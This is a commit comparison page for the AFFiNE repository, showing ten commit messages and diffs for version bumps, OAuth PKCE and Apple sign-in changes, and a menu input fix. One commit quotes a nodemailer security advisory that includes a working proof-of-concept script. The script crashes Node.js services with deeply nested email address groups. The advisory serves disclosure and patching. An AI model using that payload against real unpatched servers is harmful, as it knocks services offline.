Compare commits

...

10 Commits

Author SHA1 Message Date
DarkSky
776ca2c702 chore: bump version 2025-12-08 10:47:37 +08:00
renovate[bot]
903e0c4d71 chore: bump up nodemailer version to v7.0.11 [SECURITY] (#14062)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) | [`7.0.9`
-> `7.0.11`](https://renovatebot.com/diffs/npm/nodemailer/7.0.9/7.0.11)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/7.0.11?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/7.0.9/7.0.11?slim=true)
|

### GitHub Vulnerability Alerts

####
[GHSA-rcmh-qjqh-p98v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v)

### Summary
A DoS can occur that immediately halts the system due to the use of an
unsafe function.

### Details
According to **RFC 5322**, nested group structures (a group inside
another group) are not allowed. Therefore, in
lib/addressparser/index.js, the email address parser performs flattening
when nested groups appear, since such input is likely to be abnormal.
(If the address is valid, it is added as-is.) In other words, the parser
flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be
exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to
separate members within a group.
At the following location in lib/addressparser/index.js:


https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the
email address parser attempts to process the following kind of malicious
address header:

```g0: g1: g2: g3: ... gN: victim@example.com;```

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
`addressparser → _handleAddress → addressparser → ...`
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:
```js
if (isGroup) {
    ...
    if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}
```
`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

### PoC

```
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);
```
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

### Impact
The attacker can achieve the following:

1. Force an immediate crash of any server/service that uses Nodemailer
2. Kill the backend process with a single web request
3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

### [`v7.0.11`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7011-2025-11-26)

[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.10...v7.0.11)

##### Bug Fixes

- prevent stack overflow DoS in addressparser with deeply nested groups ([b61b9c0](b61b9c0cfd))

### [`v7.0.10`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7010-2025-10-23)

[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.9...v7.0.10)

##### Bug Fixes

- Increase data URI size limit from 100KB to 50MB and preserve content type ([28dbf3f](28dbf3fe12))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zMi4yIiwidXBkYXRlZEluVmVyIjoiNDIuMzIuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-08 10:45:06 +08:00
DarkSky
f29e47e9d2 feat: improve oauth (#14061)
fix #13730
fix #12901
fix #14025
2025-12-08 10:44:41 +08:00
Daniel Dybing
6e6b85098e fix(core): handle image-blob reduce errors more gracefully (#14056)
This PR is related to issue
https://github.com/toeverything/AFFiNE/issues/14018

When uploading a new profile photo avatar the Pica function, which is
responsible for reducing and resizing the profile photo, may crash if
the browser's Fingerprint Protection is enabled. This is because
Fingerprint Protection prevents Pica from modifying the canvas.

This fix introduces a try-catch inside the function that calls the
reduction and resizing of the photo. Also, the Error object is no longer
passed directly to the notification service, which also caused issues
previously. Now a message will appear that tells the user that the
upload failed and to check the browser's fingerprint protection (check
photo below).

Affected files: packages/frontend/core/src/utils/reduce-image.ts

<img width="408" height="136" alt="new_error"
src="https://github.com/user-attachments/assets/d140e17c-8c13-4f4b-bdf7-7dd5ddc5c917"
/>

I'm open to any suggestions in terms of wording of the error messages. 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved error handling for image compression with clearer,
user-facing messages when compression is blocked or fails.
* Ensures the original or reduced image is reliably returned as a
fallback if compression is not performed.
* Preserves file metadata (original lastModified, name, type) when
returning processed files.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-07 21:59:07 +08:00
DarkSky
cf14accd2b fix: unstable test 2025-12-07 20:22:43 +08:00
DarkSky
cf4e37c584 feat(native): native reader for indexer (#14055) 2025-12-07 16:22:11 +08:00
DarkSky
69cdeedc4e fix: lint 2025-12-06 17:55:14 +08:00
Zegnos
0495fac6f1 feat(i18n): update FR translate & corrections (#14052)
Added a complete French translation for several user interface elements.

Updated existing translation strings to improve consistency and clarity.

Corrected inaccurate or unclear wording in the language files.

Harmonized terminology to maintain a uniform vocabulary across the
interface.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Localization**
  * Corrected Spanish branding text for AFFiNE consistency.
* Expanded French locale with many new keys (AI features, calendar,
import/doc labels, shortcuts).
* Trimmed trailing spaces and fixed grammar, punctuation, diacritics
across French strings.
* Added French "Copied to clipboard" confirmation and other refined UI
labels.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-06 17:53:10 +08:00
DarkSky
5cac8971eb fix: apple sign (#14053) 2025-12-06 15:36:50 +08:00
Whitewater
1196101226 fix(editor): use onBlur for input handling in property menu (#14049)
Eliminate mobile-specific input handling from the property menu to
streamline functionality across devices.


Before


https://github.com/user-attachments/assets/563857c9-6d2f-4c38-9359-7e3e74dfb531


After


https://github.com/user-attachments/assets/0126b966-cdc2-40b7-b416-3a0e8be4aedf


Maybe related to
https://github.com/toeverything/blocksuite/pull/7524/files#diff-25406bbadb23338f3120c8d0c5e1e8485173750a57f1ba3d7a51be1c9f548696
https://github.com/toeverything/blocksuite/pull/8787/files#diff-36fb3de4c5129393febe0286eb10e9ebb791296500dc4229c9d609b9ed5e138c

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved input field responsiveness by enhancing event handling for
blur interactions.
  
* **Improvements**
* Unified input component behavior across all platforms for more
consistent user experience.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-05 14:37:15 +08:00
170 changed files with 2176 additions and 997 deletions

View File

@@ -3,4 +3,4 @@ name: affine
description: AFFiNE cloud chart
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"

View File

@@ -3,7 +3,7 @@ name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: graphql
description: AFFiNE GraphQL server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: renderer
description: AFFiNE renderer server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: sync
description: AFFiNE Sync Server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

9
Cargo.lock generated
View File

@@ -125,18 +125,23 @@ dependencies = [
"affine_media_capture",
"affine_nbstore",
"affine_sqlite_v1",
"chrono",
"napi",
"napi-build",
"napi-derive",
"once_cell",
"serde_json",
"sqlx",
"thiserror 2.0.12",
"tokio",
"uuid",
]
[[package]]
name = "affine_nbstore"
version = "0.0.0"
dependencies = [
"affine_common",
"affine_schema",
"anyhow",
"chrono",
@@ -144,10 +149,14 @@ dependencies = [
"napi",
"napi-build",
"napi-derive",
"serde",
"serde_json",
"sqlx",
"thiserror 2.0.12",
"tokio",
"uniffi",
"uuid",
"y-octo",
]
[[package]]

View File

@@ -296,7 +296,7 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5",
"version": "0.25.7",
"devDependencies": {
"@vanilla-extract/vite-plugin": "^5.0.0",
"msw": "^2.8.4",

View File

@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -39,5 +39,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -67,5 +67,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -82,5 +82,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -17,6 +17,7 @@ export type MenuInputData = {
class?: string;
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
disableAutoFocus?: boolean;
};
@@ -49,6 +50,10 @@ export class MenuInput extends MenuFocusable {
this.data.onChange?.(this.inputRef.value);
};
private readonly onBlur = () => {
this.data.onBlur?.(this.inputRef.value);
};
private readonly onInput = (e: InputEvent) => {
e.stopPropagation();
if (e.isComposing) return;
@@ -109,6 +114,7 @@ export class MenuInput extends MenuFocusable {
@focus="${() => {
this.menu.setFocusOnly(this);
}}"
@blur="${this.onBlur}"
@input="${this.onInput}"
placeholder="${this.data.placeholder ?? ''}"
@keypress="${this.stopPropagation}"
@@ -215,6 +221,7 @@ export const menuInputItems = {
prefix?: TemplateResult;
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
class?: string;
style?: Readonly<StyleInfo>;
}) =>
@@ -228,6 +235,7 @@ export const menuInputItems = {
class: config.class,
onComplete: config.onComplete,
onChange: config.onChange,
onBlur: config.onBlur,
};
const style = styleMap({
display: 'flex',

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -1,25 +1,10 @@
import { menu } from '@blocksuite/affine-components/context-menu';
import { IS_MOBILE } from '@blocksuite/global/env';
import { html } from 'lit/static-html.js';
import { renderUniLit } from '../utils/uni-component/index.js';
import type { Property } from '../view-manager/property.js';
export const inputConfig = (property: Property) => {
if (IS_MOBILE) {
return menu.input({
prefix: html`
<div class="affine-database-column-type-menu-icon">
${renderUniLit(property.icon)}
</div>
`,
initialValue: property.name$.value,
placeholder: 'Property name',
onChange: text => {
property.nameSet(text);
},
});
}
return menu.input({
prefix: html`
<div class="affine-database-column-type-menu-icon">
@@ -28,7 +13,7 @@ export const inputConfig = (property: Property) => {
`,
initialValue: property.name$.value,
placeholder: 'Property name',
onComplete: text => {
onBlur: text => {
property.nameSet(text);
},
});

View File

@@ -26,5 +26,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -35,5 +35,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -40,5 +40,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -51,5 +51,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -25,5 +25,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -47,5 +47,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -50,5 +50,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -56,5 +56,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -30,5 +30,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -75,5 +75,5 @@
"devDependencies": {
"vitest": "3.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -34,5 +34,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -36,5 +36,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -40,5 +40,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -38,5 +38,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -36,5 +36,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -34,5 +34,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -55,5 +55,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -37,5 +37,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -37,5 +37,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -35,5 +35,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -30,5 +30,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -36,5 +36,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -38,5 +38,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -35,5 +35,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -17,5 +17,5 @@
"dependencies": {
"@blocksuite/affine": "workspace:*"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -64,5 +64,5 @@
"devDependencies": {
"vitest": "3.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -47,5 +47,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!dist/__tests__",
"shim.d.ts"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -33,5 +33,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"vite-plugin-wasm": "^3.4.1",
"vitest": "3.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"vite-plugin-wasm": "^3.3.0",
"vite-plugin-web-components-hmr": "^0.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -19,5 +19,5 @@
],
"ext": "ts,md,json"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -1,6 +1,6 @@
{
"name": "@affine/monorepo",
"version": "0.25.5",
"version": "0.25.7",
"private": true,
"author": "toeverything",
"license": "MIT",

View File

@@ -7,7 +7,7 @@ version = "1.0.0"
crate-type = ["cdylib"]
[dependencies]
affine_common = { workspace = true, features = ["doc-loader"] }
affine_common = { workspace = true, features = ["doc-loader", "hashcash"] }
chrono = { workspace = true }
file-format = { workspace = true }
infer = { workspace = true }

View File

@@ -1,6 +1,6 @@
{
"name": "@affine/server-native",
"version": "0.25.5",
"version": "0.25.7",
"engines": {
"node": ">= 10.16.0 < 11 || >= 11.8.0"
},

View File

@@ -1,7 +1,7 @@
{
"name": "@affine/server",
"private": true,
"version": "0.25.5",
"version": "0.25.7",
"description": "Affine Node.js server",
"type": "module",
"bin": {
@@ -95,6 +95,7 @@
"http-errors": "^2.0.0",
"ioredis": "^5.4.1",
"is-mobile": "^5.0.0",
"jose": "^6.1.3",
"jsonwebtoken": "^9.0.2",
"keyv": "^5.2.2",
"lodash-es": "^4.17.21",

View File

@@ -331,7 +331,6 @@ function mockOAuthProvider(
clientNonce,
});
// @ts-expect-error mock
Sinon.stub(provider, 'getToken').resolves({ accessToken: '1' });
Sinon.stub(provider, 'getUser').resolves({
id: '1',

View File

@@ -4,7 +4,7 @@ import { defineModuleConfig, JSONSchema } from '../../base';
export interface OAuthProviderConfig {
clientId: string;
clientSecret: string;
clientSecret?: string;
args?: Record<string, string>;
}
@@ -13,6 +13,7 @@ export type OIDCArgs = {
claim_id?: string;
claim_email?: string;
claim_name?: string;
claim_email_verified?: string;
};
export interface OAuthOIDCProviderConfig extends OAuthProviderConfig {
@@ -88,6 +89,7 @@ defineModuleConfig('oauth', {
claim_id: z.string().optional(),
claim_email: z.string().optional(),
claim_name: z.string().optional(),
claim_email_verified: z.string().optional(),
}),
}),
},

View File

@@ -65,18 +65,37 @@ export class OAuthController {
throw new UnknownOauthProvider({ name: unknownProviderName });
}
const pkce = provider.requiresPkce ? this.oauth.createPkcePair() : null;
const state = await this.oauth.saveOAuthState({
provider: providerName,
redirectUri,
client,
clientNonce,
...(pkce
? {
pkce: {
codeVerifier: pkce.codeVerifier,
codeChallengeMethod: pkce.codeChallengeMethod,
},
}
: {}),
});
const stateStr = JSON.stringify({
const statePayload: Record<string, unknown> = {
state,
client,
provider: unknownProviderName,
});
};
if (pkce) {
statePayload.pkce = {
codeChallenge: pkce.codeChallenge,
codeChallengeMethod: pkce.codeChallengeMethod,
};
}
const stateStr = JSON.stringify(statePayload);
return {
url: provider.getAuthUrl(stateStr, clientNonce),
@@ -125,6 +144,9 @@ export class OAuthController {
if (!state) {
throw new OauthStateExpired();
}
if (!state.token) {
state.token = stateStr;
}
if (
state.provider === OAuthProviderName.Apple &&
@@ -173,7 +195,7 @@ export class OAuthController {
let tokens: Tokens;
try {
tokens = await provider.getToken(code);
tokens = await provider.getToken(code, state);
} catch (err) {
let rayBodyString = '';
if (req.rawBody) {
@@ -238,6 +260,7 @@ export class OAuthController {
}
const user = await this.models.user.fulfill(externalAccount.email, {
name: externalAccount.name,
avatarUrl: externalAccount.avatarUrl,
});

View File

@@ -2,13 +2,15 @@ import { JsonWebKey } from 'node:crypto';
import { Injectable } from '@nestjs/common';
import jwt, { type JwtPayload } from 'jsonwebtoken';
import { z } from 'zod';
import {
InternalServerError,
InvalidOauthCallbackCode,
InvalidAuthState,
URLHelper,
} from '../../../base';
import { OAuthProviderName } from '../config';
import type { OAuthState } from '../types';
import { OAuthProvider, Tokens } from './def';
interface AuthTokenResponse {
@@ -19,14 +21,75 @@ interface AuthTokenResponse {
expires_in: number;
}
const AppleProviderArgsSchema = z.object({
privateKey: z.string().nonempty(),
keyId: z.string().nonempty(),
teamId: z.string().nonempty(),
});
@Injectable()
export class AppleOAuthProvider extends OAuthProvider {
provider = OAuthProviderName.Apple;
private args: z.infer<typeof AppleProviderArgsSchema> | null = null;
private _jwtCache: { token: string; expiresAt: number } | null = null;
constructor(private readonly url: URLHelper) {
super();
}
override get configured() {
if (this.config && !this.args) {
const result = AppleProviderArgsSchema.safeParse(this.config?.args);
if (result.success) {
this.args = result.data;
}
}
return (
!!this.config &&
!!this.config.clientId &&
(!!this.config.clientSecret || !!this.args)
);
}
private get clientSecret() {
if (this.config.clientSecret) {
return this.config.clientSecret;
}
if (!this.args) {
throw new Error('Missing Apple OAuth configuration');
}
if (this._jwtCache && this._jwtCache.expiresAt > Date.now()) {
return this._jwtCache.token;
}
const { privateKey, keyId, teamId } = this.args;
const expiresIn = 300; // 5 minutes
try {
const token = jwt.sign({}, privateKey, {
algorithm: 'ES256',
keyid: keyId,
expiresIn,
issuer: teamId,
audience: 'https://appleid.apple.com',
subject: this.config.clientId,
});
this._jwtCache = {
token,
expiresAt: Date.now() + (expiresIn - 30) * 1000,
};
return token;
} catch (e) {
this.logger.error('Failed to generate Apple client secret JWT', e);
throw new Error('Failed to generate client secret');
}
}
getAuthUrl(state: string, clientNonce?: string): string {
return `https://appleid.apple.com/auth/authorize?${this.url.stringify({
client_id: this.config.clientId,
@@ -40,54 +103,39 @@ export class AppleOAuthProvider extends OAuthProvider {
})}`;
}
async getToken(code: string) {
const response = await fetch('https://appleid.apple.com/auth/token', {
method: 'POST',
body: this.url.stringify({
async getToken(code: string, _state: OAuthState) {
const appleToken = await this.postFormJson<AuthTokenResponse>(
'https://appleid.apple.com/auth/token',
this.url.stringify({
code,
client_id: this.config.clientId,
client_secret: this.config.clientSecret,
client_secret: this.clientSecret,
redirect_uri: this.url.link('/api/oauth/callback'),
grant_type: 'authorization_code',
}),
headers: {
Accept: 'application/json',
'Content-Type': 'application/x-www-form-urlencoded',
},
});
})
);
if (response.ok) {
const appleToken = (await response.json()) as AuthTokenResponse;
return {
accessToken: appleToken.access_token,
refreshToken: appleToken.refresh_token,
expiresAt: new Date(Date.now() + appleToken.expires_in * 1000),
idToken: appleToken.id_token,
};
} else {
const body = await response.text();
if (response.status < 500) {
throw new InvalidOauthCallbackCode({ status: response.status, body });
}
throw new Error(
`Server responded with non-success status ${response.status}, body: ${body}`
);
}
return {
accessToken: appleToken.access_token,
refreshToken: appleToken.refresh_token,
expiresAt: new Date(Date.now() + appleToken.expires_in * 1000),
idToken: appleToken.id_token,
};
}
async getUser(
tokens: Tokens & { idToken: string },
state: { clientNonce: string }
) {
const keysReq = await fetch('https://appleid.apple.com/auth/keys', {
method: 'GET',
});
const { keys } = (await keysReq.json()) as { keys: JsonWebKey[] };
async getUser(tokens: Tokens, state: OAuthState) {
if (!tokens.idToken) {
throw new InvalidAuthState();
}
const { keys } = await this.fetchJson<{ keys: JsonWebKey[] }>(
'https://appleid.apple.com/auth/keys',
{ method: 'GET' },
{ treatServerErrorAsInvalid: true }
);
const payload = await new Promise<JwtPayload>((resolve, reject) => {
jwt.verify(
tokens.idToken,
tokens.idToken!,
(header, callback) => {
const key = keys.find(key => key.kid === header.kid);
if (!key) {

View File

@@ -1,8 +1,14 @@
import { Inject, Injectable, Logger } from '@nestjs/common';
import { Config, OnEvent } from '../../../base';
import {
Config,
InvalidOauthCallbackCode,
InvalidOauthResponse,
OnEvent,
} from '../../../base';
import { OAuthProviderName } from '../config';
import { OAuthProviderFactory } from '../factory';
import type { OAuthState } from '../types';
export interface OAuthAccount {
id: string;
@@ -16,6 +22,8 @@ export interface Tokens {
scope?: string;
refreshToken?: string;
expiresAt?: Date;
idToken?: string;
tokenType?: string;
}
export interface AuthOptions {
@@ -29,8 +37,8 @@ export interface AuthOptions {
export abstract class OAuthProvider {
abstract provider: OAuthProviderName;
abstract getAuthUrl(state: string, clientNonce?: string): string;
abstract getToken(code: string): Promise<Tokens>;
